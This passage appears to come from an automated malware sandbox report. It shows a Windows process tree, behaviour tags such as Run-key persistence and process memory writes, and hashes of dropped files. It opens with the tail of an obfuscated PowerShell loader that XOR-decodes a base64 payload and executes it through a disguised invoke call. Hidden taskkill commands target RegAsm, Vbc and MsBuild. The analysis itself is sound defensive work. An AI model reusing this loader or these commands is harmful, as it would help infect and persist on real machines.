ZUaFl7MF16SlI3ZnJKWw5eCkM1WWgdKBwJEgYPEjoHIRhQAQw+VHhJdU5bXEVFETYaJV4BHG4IT31OaRwfEhNfCBcwJV0BAwJQATJlZRwVYkVQHD0TIQc/OAYPFScSXlgSFXsDezVcVn5dVHVYSFNvZVsVGwJGATJlZRwVa08dUHx7PAEVGxlgKzoaIRxbEgo2YnVUd1lARn9XG1xIblFwU1EIFy5pdU5bXEVFBVdbdV9aV1E2EEcTKBwWUBZNCUVeIRtUalIFR1JNPBsbEmJFBXgJLRwWUxFcDToSXlgSFUA6TW9iRnZRa3NQHD0TLRwabUZNBkJtcVNmXFoEBjMWIRRtVgJKcW0HPBsbEg5NCUVeIRtWSEFYBjMTDDYSEgJNZn9OLGxAXUEIUmlGclNARgIucU8aLFhXQUERUn9WZF9GEg8LSGhJdRwHTkQZAVRbbFkecXI4AWc3CzE4EgJNAToaIRwSEg==';$qZvL1H=0xA1EB-0xC504;$xkPzeuVmA=@();foreach($c in [char[]]$bNbrOi){$xkPzeuVmA+=[byte]($c-bxor0xAA)};$xbOhQY=$xkPzeuVmA;$xkPzeuVmA=@();foreach($c in [char[]]$bNbrOi){$xkPzeuVmA+=[byte]($c-bxor0x55)};$eplMxA=$xkPzeuVmA;$xkPzeuVmAoldR='';$i=0;for($j=0;$j-lt$sMrLfU.Length;$j+=2){$xkPzeuVmAoldR+=[char](([Convert]::ToInt32($sMrLfU.Substring($j,2),16))-bxor$xbOhQY[$i++%$xbOhQY.Length])};$l4nGIvq=$xkPzeuVmAoldR;$xkPzeuVmAoldB=[Convert]::FromBase64String([regex]::Replace($gD9AIXd7, '$xkPzeuVmA', ''));$xkPzeuVmAoldR='';$i=0;for($j=0;$j-lt$xkPzeuVmAoldB.Length;$j++){$xkPzeuVmAoldR+=[char]($xkPzeuVmAoldB[$j]-bxor$eplMxA[$i++%$eplMxA.Length])};$rIZqHYJv=$xkPzeuVmAoldR;$f1H0On=$l4nGIvq+$rIZqHYJv;.($env:ComSpec[4,26,25]-join'') $f1H0On"
          2⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4656
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\w0c11t5y\w0c11t5y.cmdline"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:4056
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7550.tmp" "c:\Users\Admin\AppData\Local\Temp\w0c11t5y\CSC2860A631AB59438A942C199BFF62763.TMP"
              4⤵
                PID:4112
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:2244
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F
                4⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:3428
                • C:\Windows\system32\taskkill.exe
                  taskkill /IM RegAsm.exe /F
                  5⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3508
                • C:\Windows\system32\taskkill.exe
                  taskkill /IM Vbc.exe /F
                  5⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3168
                • C:\Windows\system32\taskkill.exe
                  taskkill /IM MsBuild.exe /F
                  5⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3828

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

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              Downloads

              ModuleAnalysisCache

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
              • Size 67KB
              • SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
              • MD5 SHA1 SHA512 SSDEEP TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 bcf8325db72c06bb7f6a8df3c4648a150d766a1857214c6b533c467029424ce8
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 64B
              • SHA256 bf1aa6ac9ad2aba7c10a908fe04522937f89215eed432273fe494d0b6a827426
              • MD5 SHA1 SHA512

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 2dff6e2b1409f403f3f02af2d36804648b96f9bf08a451fd5c34a1384bfb39bc
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 a18ef605aba2b054d29e115b365f87a7814c6d5c021b6c6e3ef3a39a4e7c1e44
              • MD5 SHA1 SHA512 TLSH

              RES7550.tmp

              • Path C:\Users\Admin\AppData\Local\Temp\RES7550.tmp
              • Size 1KB
              • SHA256 cb6968670ed087a4beab9142d638de58eccc7cb6179e93dd43279485339c0b2b
              • MD5 SHA1 SHA512 TLSH

              RESAB0B.tmp

              • Path C:\Users\Admin\AppData\Local\Temp\RESAB0B.tmp
              • Size 1KB
              • SHA256 0cc4bdcda9363a63bb75de92839ea83e9afafe12cc6ff52d099df14adb60d499
              • MD5 SHA1 SHA512 TLSH

              __PSScriptPolicyTest_kv3vef0m.22i.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kv3vef0m.22i.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH

              f3e044a2-0601-4bfc-8a11-b002b7230361.bat

              • Path C:\Users\Admin\AppData\Local\Temp\f3e044a2-0601-4bfc-8a11-b002b7230361.bat
              • Size 21KB
              • SHA256 bcd7be9630cfb4df28c15fc2889229337147a8b44a9d0998b928c9391b9af8c2
              • MD5 SHA1 SHA512 SSDEEP TLSH

              pv2gxsqb.dll

              • Path C:\Users\Admin\AppData\Local\Temp\pv2gxsqb\pv2gxsqb.dll
              • Size 3KB
              • SHA256 1a4d665502efb49edf5497985a650992de634f4487b5e66b0e861eb27f1336b4
              • MD5 SHA1 SHA512 TLSH

              w0c11t5y.dll

              • Path C:\Users\Admin\AppData\Local\Temp\w0c11t5y\w0c11t5y.dll
              • Size 3KB
              • SHA256 37ab372674caca7434991f305d370df695ae746fbf169d1e5231b25855390b2c
              • MD5 SHA1 SHA512 TLSH

              CSC72FD6798323243F5A3C1987DCA922E38.TMP

              • Path \??\c:\Users\Admin\AppData\Local\Temp\pv2gxsqb\CSC72FD6798323243F5A3C1987DCA922E38.TMP
              • Size 652B
              • SHA256 2d00d3205ee4fb5a74f8ed679bd8e15ae8a18991e6b8ae9a6840c569d95e4810
              • MD5 SHA1 SHA512 TLSH

              pv2gxsqb.0.cs

              • Path \??\c:\Users\Admin\AppData\Local\Temp\pv2gxsqb\pv2gxsqb.0.cs
              • Size 213B
              • SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
              • MD5 SHA1 SHA512 TLSH

              pv2gxsqb.cmdline

              • Path \??\c:\Users\Admin\AppData\Local\Temp\pv2gxsqb\pv2gxsqb.cmdline
              • Size 369B
              • SHA256 886972992294dec8cbf05b67f9e073d8e37be7e98bd1d6df4cd58da42801a542
              • MD5 SHA1 SHA512 TLSH

              CSC2860A631AB59438A942C199BFF62763.TMP

              • Path \??\c:\Users\Admin\AppData\Local\Temp\w0c11t5y\CSC2860A631AB59438A942C199BFF62763.TMP
              • Size 652B
              • SHA256 c07236e0476df5dc31803f246cbd22db1540d2f7d86c577b3ddbe72f8192424a
              • MD5 SHA1 SHA512 TLSH

              w0c11t5y.cmdline

              • Path \??\c:\Users\Admin\AppData\Local\Temp\w0c11t5y\w0c11t5y.cmdline
              • Size 369B
              • SHA256 603b237a923dde4158c7aa7a2dfa1221b897012161b849c38f8cdc262a452838
              • MD5 SHA1 SHA512 TLSH

              memory/4168-0-0x00007FF98B79F000-0x00007FF98B7A0000-memory.dmp

              memory/4168-18-0x00007FF98B610000-0x00007FF98BFB4000-memory.dmp

              memory/4168-1-0x0000000000020000-0x000000000003E000-memory.dmp

              memory/4168-4-0x00007FF98B610000-0x00007FF98BFB4000-memory.dmp

              memory/4656-58-0x000001AFA3E30000-0x000001AFA3E38000-memory.dmp

              memory/5228-31-0x000001A1F1AD0000-0x000001A1F1AD8000-memory.dmp

              memory/5228-33-0x000001A1F1B10000-0x000001A1F1B26000-memory.dmp

              memory/6088-10-0x00007FF98B610000-0x00007FF98BFB4000-memory.dmp

              memory/6088-9-0x00007FF98B610000-0x00007FF98BFB4000-memory.dmp

              memory/6088-8-0x00007FF98B610000-0x00007FF98BFB4000-memory.dmp

              memory/6088-11-0x00007FF98B610000-0x00007FF98BFB4000-memory.dmp

              memory/6088-7-0x000001C76DAE0000-0x000001C76DB02000-memory.dmp

              memory/6088-12-0x00007FF98B610000-0x00007FF98BFB4000-memory.dmp

              memory/6088-14-0x00007FF98B610000-0x00007FF98BFB4000-memory.dmp